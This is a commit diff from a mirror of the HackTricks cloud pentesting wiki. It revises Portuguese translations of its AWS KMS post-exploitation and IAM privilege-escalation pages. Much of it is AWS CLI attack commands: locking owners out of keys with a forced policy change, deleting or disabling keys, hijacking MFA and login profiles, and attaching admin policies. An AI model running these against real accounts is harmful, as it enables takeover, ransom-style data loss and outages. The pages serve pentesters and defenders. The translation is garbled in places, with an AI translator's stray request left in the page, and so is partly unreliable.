mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+32
-32
@@ -1,26 +1,26 @@
|
||||
# AWS - KMS Pós-Exploração
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Criptografar/Descriptografar informações
|
||||
### Encrypt/Decrypt information
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
`fileb://` e `file://` são esquemas URI usados em comandos AWS CLI para especificar o caminho para arquivos locais:
|
||||
|
||||
- `fileb://:` Lê o arquivo em modo binário, comumente usado para arquivos não textuais.
|
||||
- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos especiais de codificação.
|
||||
- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não tenham requisitos de codificação especiais.
|
||||
|
||||
> [!TIP]
|
||||
> Observe que, se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)
|
||||
> Observe que, se você quiser decrypt alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)
|
||||
|
||||
- Usando uma **simétrica** key
|
||||
- Usando uma chave **simétrica**
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Um atacante com acesso privilegiado ao KMS poderia modificar a KMS policy das keys e **conceder à sua conta acesso a elas**, removendo o acesso concedido à conta legítima.
|
||||
Um atacante com acesso privilegiado ao KMS poderia modificar a política do KMS das chaves e **conceder à sua conta acesso sobre elas**, removendo o acesso concedido à conta legítima.
|
||||
|
||||
Então, os usuários da conta legítima não poderão acessar qualquer informação de qualquer serviço que tenha sido criptografado com essas keys, criando um ransomware simples mas eficaz na conta.
|
||||
Então, os usuários da conta legítima não poderão acessar nenhuma informação de qualquer serviço que tenha sido criptografado com essas chaves, criando um ransomware simples mas eficaz na conta.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que **AWS managed keys aren't affected** por este ataque, apenas **Customer managed keys**.
|
||||
|
||||
> Também observe a necessidade de usar o parâmetro **`--bypass-policy-lockout-safety-check`** (a ausência dessa opção no web console torna este ataque possível apenas via CLI).
|
||||
> Observe que **AWS managed keys aren't affected** por este ataque, apenas **Customer managed keys**.
|
||||
>
|
||||
> Também observe a necessidade de usar o parâmetro **`--bypass-policy-lockout-safety-check`** (a ausência dessa opção no web console torna este ataque possível apenas a partir do CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Atenção: observe que se você alterar essa policy e apenas conceder acesso a uma external account, e então a partir dessa external account tentar definir uma nova policy para **devolver o acesso à conta original, você não conseguirá porque a Put Polocy action cannot be performed from a cross account**.
|
||||
> Observe que se você alterar essa policy e apenas conceder acesso a uma conta externa, e então a partir dessa conta externa tentar definir uma nova policy para **dar o acesso de volta à conta original, você não conseguirá porque a ação Put Polocy não pode ser performada a partir de um cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Genérico KMS Ransomware
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Há outra forma de realizar um KMS Ransomware global, que envolveria os seguintes passos:
|
||||
Existe outra maneira de executar um KMS Ransomware global, que envolveria os seguintes passos:
|
||||
|
||||
- Criar uma nova **key with a key material** importada pelo atacante
|
||||
- **Re-encrypt older data** da vítima, criptografados com a versão anterior, com a nova
|
||||
- **Re-encrypt older data** da vítima que foi criptografada com a versão anterior, usando a nova
|
||||
- **Delete the KMS key**
|
||||
- Agora somente o atacante, que possui o key material original, poderia ser capaz de descriptografar os dados criptografados
|
||||
- Agora somente o atacante, que possui o original key material, poderia ser capaz de descriptografar os dados criptografados
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
Com a permissão `kms:DeleteImportedKeyMaterial`, um ator pode deletar o key material importado de CMKs com `Origin=EXTERNAL` (CMKs que importaram seu key material), tornando-os incapazes de descriptografar dados. Esta ação é destrutiva e irreversível a menos que material compatível seja reimportado, permitindo que um atacante efetivamente cause perda de dados do tipo ransomware ao tornar a informação criptografada permanentemente inacessível.
|
||||
Com a permissão `kms:DeleteImportedKeyMaterial`, um ator pode deletar o key material importado de CMKs com `Origin=EXTERNAL` (CMKs que tenham importado seu key material), tornando-os incapazes de descriptografar dados. Esta ação é destrutiva e irreversível, a menos que material compatível seja reimportado, permitindo que um atacante cause efetivamente perda de dados semelhante a ransomware ao tornar a informação criptografada permanentemente inacessível.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Destroy keys
|
||||
### Destruir chaves
|
||||
|
||||
Ao destruir chaves, é possível realizar um DoS.
|
||||
Destruir chaves pode causar um DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Observe que a AWS agora **impede que as ações anteriores sejam executadas a partir de uma conta cruzada:**
|
||||
> Note que AWS agora **impede que as ações anteriores sejam realizadas a partir de uma conta cross-account:**
|
||||
|
||||
### Alterar ou excluir Alias
|
||||
Este ataque exclui ou redireciona aliases do AWS KMS, quebrando a resolução de chaves e causando falhas imediatas em quaisquer serviços que dependam desses aliases, resultando em negação de serviço. Com permissões como `kms:DeleteAlias` ou `kms:UpdateAlias` um atacante pode remover ou apontar novamente aliases e interromper operações criptográficas (por exemplo, encrypt, describe). Qualquer serviço que referencie o alias em vez do key ID pode falhar até que o alias seja restaurado ou corretamente remapeado.
|
||||
### Alterar ou deletar Alias
|
||||
Esse ataque exclui ou redireciona aliases do AWS KMS, quebrando a resolução de chaves e causando falhas imediatas em quaisquer serviços que dependam desses aliases, resultando em um denial-of-service. Com permissões como `kms:DeleteAlias` ou `kms:UpdateAlias` um atacante pode remover ou repoint aliases e interromper operações criptográficas (por exemplo, encrypt, describe). Qualquer serviço que referencie o alias em vez do key ID pode falhar até que o alias seja restaurado ou remapeado corretamente.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
@@ -135,7 +135,7 @@ aws kms update-alias \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancelar exclusão de chave
|
||||
Com permissões como `kms:CancelKeyDeletion` e `kms:EnableKey`, um atacante pode cancelar uma exclusão agendada de uma chave mestra do cliente do AWS KMS e posteriormente reativá-la. Ao fazer isso, a chave é recuperada (inicialmente em estado Disabled) e sua capacidade de descriptografar dados previamente protegidos é restaurada, permitindo exfiltração.
|
||||
Com permissões como `kms:CancelKeyDeletion` e `kms:EnableKey`, um ator pode cancelar uma exclusão agendada de uma AWS KMS customer master key e, posteriormente, reativá-la. Ao fazer isso, a chave é recuperada (inicialmente no estado Disabled) e sua capacidade de descriptografar dados previamente protegidos é restaurada, permitindo exfiltração.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
@@ -145,22 +145,22 @@ aws kms cancel-key-deletion \
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Desativar Chave
|
||||
Com a permissão `kms:DisableKey`, um ator pode desativar uma customer master key do AWS KMS, impedindo que ela seja usada para criptografia ou descriptografia. Isso interrompe o acesso de quaisquer serviços que dependam dessa CMK e pode causar interrupções imediatas ou um denial-of-service até que a chave seja reativada.
|
||||
### Desativar chave
|
||||
Com a permissão `kms:DisableKey`, um ator pode desativar uma customer master key (CMK) do AWS KMS, impedindo que ela seja usada para criptografia ou descriptografia. Isso interrompe o acesso para quaisquer serviços que dependam dessa CMK e pode causar interrupções imediatas ou uma denial-of-service até que a chave seja reativada.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
Com a permissão `kms:DeriveSharedSecret`, um ator pode usar uma private key mantida pelo KMS e uma public key fornecida pelo usuário para calcular um ECDH shared secret.
|
||||
### Derivar Segredo Compartilhado
|
||||
Com a permissão `kms:DeriveSharedSecret`, um ator pode usar uma chave privada armazenada no KMS junto com uma chave pública fornecida pelo usuário para calcular um segredo compartilhado ECDH.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Com a permissão `kms:Sign`, um agente pode usar uma CMK armazenada no KMS para assinar criptograficamente dados sem expor a chave privada, produzindo assinaturas válidas que podem permitir impersonation ou autorizar ações maliciosas.
|
||||
### Falsificação de identidade via `kms:Sign`
|
||||
Com a permissão `kms:Sign`, um ator pode usar uma CMK armazenada no KMS para assinar criptograficamente dados sem expor a chave privada, produzindo assinaturas válidas que podem permitir falsificação de identidade ou autorizar ações maliciosas.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
@@ -168,8 +168,8 @@ aws kms sign \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS com Custom Key Stores
|
||||
Com permissões como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ou `kms:UpdateCustomKeyStore`, um ator pode modificar, desconectar ou excluir um AWS KMS Custom Key Store (CKS), tornando suas chaves mestres inoperáveis. Isso interrompe as operações de criptografia, descriptografia e assinatura para quaisquer serviços que dependam dessas chaves e pode causar um denial-of-service imediato. Restringir e monitorar essas permissões é, portanto, crítico.
|
||||
### DoS with Custom Key Stores
|
||||
Com permissões como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ou `kms:UpdateCustomKeyStore`, um atacante pode modificar, desconectar ou excluir um AWS KMS Custom Key Store (CKS), tornando suas chaves mestras inoperantes. Isso interrompe as operações de criptografia, descriptografia e assinatura para quaisquer serviços que dependam dessas chaves e pode causar um denial-of-service imediato. Por isso, restringir e monitorar essas permissões é essencial.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
|
||||
+61
-47
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Para mais informações sobre IAM, consulte:
|
||||
Para mais informações sobre o IAM, confira:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,9 +12,9 @@ Para mais informações sobre IAM, consulte:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Concede a capacidade de criar uma nova versão de IAM policy, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões personalizadas.
|
||||
Concede a capacidade de criar uma nova versão de política do IAM, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões personalizadas.
|
||||
|
||||
**Comando de Exploração:**
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
@@ -23,69 +23,88 @@ aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Permite alterar a versão padrão de uma política do IAM para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.
|
||||
Permite alterar a versão padrão de uma policy IAM para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.
|
||||
|
||||
**Bash Command:**
|
||||
**Comando Bash:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Impacto:** Elevação de privilégios indireta por permitir conceder mais permissões.
|
||||
**Impacto:** Indirect privilege escalation ao habilitar mais permissões.
|
||||
|
||||
### **`iam:CreateAccessKey`**
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Permite criar access key ID e secret access key para outro usuário, levando a possível elevação de privilégios.
|
||||
Permite criar access key ID e secret access key para outro usuário, levando a potencial privilege escalation.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impact:** Escalada de privilégios direta ao assumir as permissões ampliadas de outro usuário.
|
||||
**Impacto:** Escalada direta de privilégios ao assumir as permissões estendidas de outro usuário.
|
||||
|
||||
Observe que um usuário só pode ter 2 access keys criadas, então, se um usuário já tiver 2 access keys, você precisará da permissão `iam:DeleteAccessKey` para deletar uma delas e poder criar uma nova:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Se você puder criar um novo dispositivo MFA virtual e habilitá-lo em outro usuário, pode, na prática, inscrever seu próprio MFA para esse usuário e então solicitar uma sessão com MFA para as credenciais desse usuário.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
|
||||
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impacto:** Escalada direta de privilégios ao assumir a inscrição MFA de um usuário (e então usar suas permissões).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Permite criar ou atualizar um perfil de login, incluindo definir senhas para login no console da AWS, levando a escalada de privilégios direta.
|
||||
Permite criar ou atualizar um login profile, incluindo definir senhas para login no console da AWS, levando à escalada direta de privilégios.
|
||||
|
||||
**Exploit for Creation:**
|
||||
**Exploit para Criação:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit para Update:**
|
||||
**Exploit para Atualização:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impact:** Escalada de privilégios direta ao fazer login como "qualquer" usuário.
|
||||
**Impacto:** Escalonamento de privilégios direto ao efetuar login como o usuário "any".
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Permite habilitar uma access key desativada, potencialmente levando ao acesso não autorizado se o atacante possuir a access key desativada.
|
||||
Permite habilitar uma access key desativada, potencialmente resultando em acesso não autorizado caso o atacante possua essa access key desativada.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Impacto:** Escalada direta de privilégios reativando access keys.
|
||||
**Impacto:** Escalada de privilégios direta ao reativar chaves de acesso.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Permite gerar ou redefinir credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
|
||||
Permite gerar ou redefinir credenciais para serviços AWS específicos (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
|
||||
|
||||
**Exploit for Creation:**
|
||||
**Exploração para Criação:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
**Exploit para Redefinição:**
|
||||
**Exploit para Reset:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impacto:** Direct privilege escalation dentro das permissões de serviço do usuário.
|
||||
**Impacto:** Escalada direta de privilégios dentro das permissões de serviço do usuário.
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Permite anexar políticas a usuários ou grupos, directly escalating privileges ao herdar as permissões da política anexada.
|
||||
Permite anexar políticas a usuários ou grupos, escalando privilégios diretamente ao herdar as permissões da política anexada.
|
||||
|
||||
**Exploit para Usuário:**
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -93,17 +112,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impacto:** Direct privilege escalation para qualquer coisa que a política conceda.
|
||||
**Impacto:** Privilege escalation direto para qualquer coisa que a política concede.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Permite anexar ou aplicar políticas a roles, users ou groups, permitindo direct privilege escalation ao conceder permissões adicionais.
|
||||
Permite anexar ou inserir políticas em funções, usuários ou grupos, possibilitando privilege escalation direto ao conceder permissões adicionais.
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit para Inline Policies:**
|
||||
**Exploit for Inline Policies:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -114,12 +133,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
Por favor, cole o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md que você quer traduzir.
|
||||
|
||||
Observações rápidas:
|
||||
- Vou traduzir somente o texto em inglês relevante para Português.
|
||||
- Não vou traduzir código, nomes de técnicas, termos como aws/gcp/Workspace, links, paths, tags markdown/html, refs nem quaisquer identificadores que você listou nas instruções.
|
||||
- Manterei exatamente a mesma sintaxe markdown/html.
|
||||
Por favor, cole o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md que deseja que eu traduza.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -132,7 +146,7 @@ Observações rápidas:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** Escalada direta de privilégios ao adicionar permissões por meio de políticas.
|
||||
**Impacto:** Escalada direta de privilégios ao adicionar permissões através de policies.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
@@ -142,18 +156,18 @@ Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Impact:** Escalada direta de privilégios ao nível das permissões do grupo.
|
||||
**Impacto:** Escalada de privilégios direta ao nível das permissões do grupo.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Permite alterar o documento de política de assume role de uma role, habilitando a assunção da role e suas permissões associadas.
|
||||
Permite alterar o documento de assume role policy de um role, habilitando a assunção do role e suas permissões associadas.
|
||||
|
||||
**Exploit:**
|
||||
**Exploração:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Quando a policy se parecer com o seguinte, o que dá ao usuário permissão para assumir a role:
|
||||
Quando a política estiver da seguinte forma, o que concede ao usuário permissão para assumir a role:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -168,13 +182,13 @@ Quando a policy se parecer com o seguinte, o que dá ao usuário permissão para
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impacto:** Escalada de privilégios direta ao assumir as permissões de qualquer role.
|
||||
**Impacto:** Escalação direta de privilégios ao assumir as permissões de qualquer role.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Permite enviar uma chave pública SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a uma possível escalada de privilégios indireta.
|
||||
Permite fazer upload de uma chave pública SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a uma possível escalada indireta de privilégios.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
**Exploit para Upload de Chave SSH:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
@@ -182,24 +196,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Impacto:** Indirect privilege escalation ao permitir acesso ao CodeCommit ou desativar a proteção MFA.
|
||||
**Impacto:** Escalação de privilégios indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Permite a ressincronização de um dispositivo MFA, potencialmente levando a indirect privilege escalation ao manipular a proteção MFA.
|
||||
Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalação de privilégios indireta ao manipular a proteção MFA.
|
||||
|
||||
**Comando Bash:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impacto:** Escalação de privilégios indireta ao adicionar ou manipular dispositivos MFA.
|
||||
**Impacto:** Escalada de privilégio indireta ao adicionar ou manipular dispositivos MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **SAML federation** para **login** com qualquer **role que confie nela**.
|
||||
Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **SAML federation** para **fazer login** com qualquer **role que confie nela**.
|
||||
|
||||
Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, colocar o seu, fazer login e restaurar a configuração anterior.
|
||||
Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, então pode colocar o seu, fazer login e restaurar a configuração anterior.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -216,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: Uma ferramenta capaz de gerar os metadados SAML e efetuar login com uma role especificada
|
||||
> TODO: Uma ferramenta capaz de gerar o SAML metadata e realizar login com uma role especificada
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Não tenho certeza sobre isto) Se um atacante tiver estas **permissões** ele poderia adicionar um novo **Thumbprint** para conseguir efetuar login em todos os roles que confiam no provider.
|
||||
(Não tenho certeza sobre isto) Se um atacante tiver essas **permissões** ele poderia adicionar um novo **Thumbprint** para conseguir fazer login em todas as roles que confiam no provider.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -231,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Esta permissão permite que um atacante atualize o limite de permissões (permissions boundary) de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.
|
||||
Essa permissão permite que um atacante atualize o limite de permissões de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas suas permissões existentes.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -254,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera o permissions boundary de uma role: essa pessoa pode restringir operações de forma indevida (causando interrupção de serviço) ou, se anexar um permissions boundary permissivo, efetivamente ampliar o que a role pode fazer e escalar privilégios.
|
||||
Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera o boundary de uma role: essa pessoa pode restringir indevidamente operações (causando interrupção de serviço) ou, se anexar um boundary permissivo, efetivamente ampliar o que a role pode fazer e escalar privilégios.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
Reference in New Issue
Block a user